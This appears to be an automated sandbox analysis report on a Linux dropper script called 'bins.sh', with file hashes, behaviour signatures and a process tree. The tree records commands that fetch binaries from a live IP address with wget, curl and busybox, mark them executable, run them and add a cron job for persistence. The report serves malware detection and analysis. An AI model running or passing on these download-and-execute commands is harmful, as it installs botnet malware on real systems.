Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 17:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    44abefd5465444dcab746bfecbb8c39e

  • SHA1

    c1351bb88084f4d4243abda067e7f8a2fcc38af2

  • SHA256

    0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca

  • SHA512

    18f2b3bbded2119de5c8ee396124532e81e70b827e9373f4f6dde79e63b3cd81144bbdc63bfa06dd66f42466e5b92d928d5c5ea874cf43d9cc126c35ca5a75a0

  • SSDEEP

    192:uNQwhwJwWw1wBwo4wqAbwhwJwWw1wBwJe:uNQwhwJwWw1wBwo4w5bwhwJwWw1wBw8

Malware Config

Signatures

  • Contacts a large (2145) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:645
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:663
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • File and Directory Permissions Modification
          PID:671
        • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          ./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Executes dropped EXE
          PID:672
        • /bin/rm
          rm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
            PID:674
          • /usr/bin/wget
            wget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:675
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:685
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:695
          • /bin/chmod
            chmod 777 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • File and Directory Permissions Modification
            PID:699
          • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            ./aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:701
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:703
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:704
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:706
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:707
              • /bin/rm
                rm aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                2⤵
                  PID:726
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                  2⤵
                    PID:729

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /var/spool/cron/crontabs/tmp.1zlQU7

                  Filesize

                  210B

                  MD5

                  33f08848aeea31030df2bd1f1ba048ed

                  SHA1

                  91b09638ed00a13b615e9a78d648471549019120

                  SHA256

                  2f1e9b2acf28fe1c7ae95feff412df830366d4a7c55c602c099796d9decd8968

                  SHA512

                  f72bc5b07270b77d8f722ba112a1e73528b336c60af63ae6885b2a290fa1692b1eac6e05e8a84e099550ded61015759846c5e81a98e8ecdd1b6b31474f904852